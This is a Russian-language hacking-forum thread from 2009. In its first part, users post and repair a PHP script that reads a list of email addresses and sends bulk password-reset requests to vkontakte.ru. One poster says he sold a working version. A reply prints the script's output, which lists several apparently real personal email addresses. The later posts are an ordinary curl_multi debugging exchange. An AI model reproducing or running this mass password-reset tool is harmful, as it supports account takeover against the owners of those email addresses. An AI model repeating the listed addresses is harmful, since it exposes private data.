Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

19.12.2009, 14:57
|
|
Познающий
Регистрация: 11.11.2008
Сообщений: 77
Провел на форуме: 1144288
Репутация:
99
|
|
Сообщение от le-mon
Не могу понять в чем может быть ошибка Vkontakte.ru Ретривер(высылание паролей по списку мыл)
Хелп 
О_О знакомый код
Сообщение от le-mon
PHP код:
(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
Этот скрипт уже не работает, надо подправить немного...
Кстати, я продавал рабочую версию, но потом на mail.ru перестали вовремя приходить письма, поэтому скрипт был не актуален.
Сейчас ситуация изменилась, поэтому скоро обновлю скрипт и он вновь поступит в продажу.
|
|
|

19.12.2009, 14:59
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от le-mon
Не могу понять в чем может быть ошибка Vkontakte.ru Ретривер(высылание паролей по списку мыл)
PHP код:
(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$fp=fopen("accounts.txt", "rt");
while(!feof($fp))
{
$str = fgets($fp, 100);
$acc = explode(";", $str, 2);
$login = trim($acc[0]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
};
};
fclose($fp);
?>
Хелп 
Если я не ошибюсь,то 100 - колво байтов,которые нам слебует получить = 100 символов.Так он и будет брат ь100 символов,эксплодить по ; и первое вождение подставлять в виде емаила.М?
Тут нужно:
PHP код:
$file = file('account.txt');
$count = count($file);
while($i < $count)
{
list($login,$password) = explode(';',$file[$i]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
}
$i++;
}
Примерно так,писал на "коленке".
|
|
|

19.12.2009, 15:20
|
|
Познающий
Регистрация: 11.04.2007
Сообщений: 57
Провел на форуме: 1024865
Репутация:
-2
|
|
m0Hze, так тоже:
(c)Player#1 for antichat.ru
Ошибка!
gyndosi@bk.ruОшибка!
andre-fomin@mail.ruОшибка!
nick63_samara@mail.ruОшибка!
kate-9292@bk.ruОшибка!
buka1987@mail.ruОшибка!
xamid-0078@mail.ruОшибка!
|
|
|

19.12.2009, 21:32
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме: 1607210
Репутация:
1617
|
|
есть такой код, и он работал прекрасно год, а вчера начал барахлить и не исполнятся, вар дамп который там стоит показывает вот что
Код:
int(10) resource(31) of type (curl_multi)
Warning: (null)(): 32 is not a valid cURL handle resource in Unknown on line 0
в чем дело даже вообще не понятно, подскажите люди, ибо дебагу этот код не поддается. может кто то сталкивался с такой проблемой в курле.
а если вар дамп убрать то просто кидает в браузер заголовок
то есть больше вообще никаких хидеров не посылает в браузер, 1 строка и всё
PHP код:
for($i=0;$i<count($sites);$i+=$this->threads){
$curly = array();
$result = array();
$mh = curl_multi_init();
for($m=$i;$m<=($i+$this->threads)-1;$m++){
//prepare thread
if($transok){
$curly[$m] = curl_init($trans);
}else{
$curly[$m] = curl_init($sites[$m]['url']);
}
curl_setopt($curly[$m], CURLOPT_POST, 1);
curl_setopt($curly[$m], CURLOPT_POSTFIELDS, $sites[$m]['post']);
curl_setopt($curly[$m], CURLOPT_TIMEOUT, 60);
curl_setopt($curly[$m], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle($mh, $curly[$m]);
var_dump($this->threads, $mh);die();
}
// execute the handles
$running = null;
do {
curl_multi_exec($mh, $running);
usleep(100000);
} while($running > 0);
// get content and remove handles
foreach($curly as $id => $c) {
$result[$id] = curl_multi_getcontent($c);
if(is_numeric(trim($result[$id]!==false))){
$result[$id] = intval($result[$id]);
$r = mysql_query("UPDATE incsites SET status='".intval($result[$id])."', lastmodif=now() WHERE userid='".$_SESSION['user']['id']."' and id='".$sites[$id]['id']."'");
}
curl_multi_remove_handle($mh, $c);
}
curl_multi_close($mh);
}
Код:
Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit'
Код:
curlcURL support enabled
cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
Последний раз редактировалось SQLHACK; 19.12.2009 в 21:57..
|
|
|

19.12.2009, 21:45
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
SQLHACK
Мб курл мульти не установлен?
|
|
|

19.12.2009, 21:57
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме: 1607210
Репутация:
1617
|
|
Код:
Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit'
Код:
curlcURL support enabled
cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
|
|
|

19.12.2009, 22:06
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от SQLHACK
есть такой код, и он работал прекрасно год, а вчера начал барахлить и не исполнятся, вар дамп который там стоит показывает вот что
Код сам по себе не мог перестать работать. Что-то изменилось... Сделай позавчерашний бекап, если таковой имелся.
|
|
|

19.12.2009, 22:31
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме: 1607210
Репутация:
1617
|
|
ну бекап чего делать , код не изменился. База точно не причем.
Единственное что мог обновится directadmin по крону. Но где искать косяк?
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
|
|
|

19.12.2009, 23:10
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Я сам мультикур нераскуривал, но работаю с классом Мультикурл, если хочеш стукни мне в асю я тебе перепишу скрипт, опишеш весь функционал, или же даш полный скрипт я поковыряю. А так не совсем ясно что у тебя там, к тому же в скрипте уже используется класс:
var_dump($this->threads, $mh);die();
и угадать что за класс и что должно быть в $this->threads никак =)
|
|
|

19.12.2009, 23:32
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме: 1607210
Репутация:
1617
|
|
$this->threads = 10
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|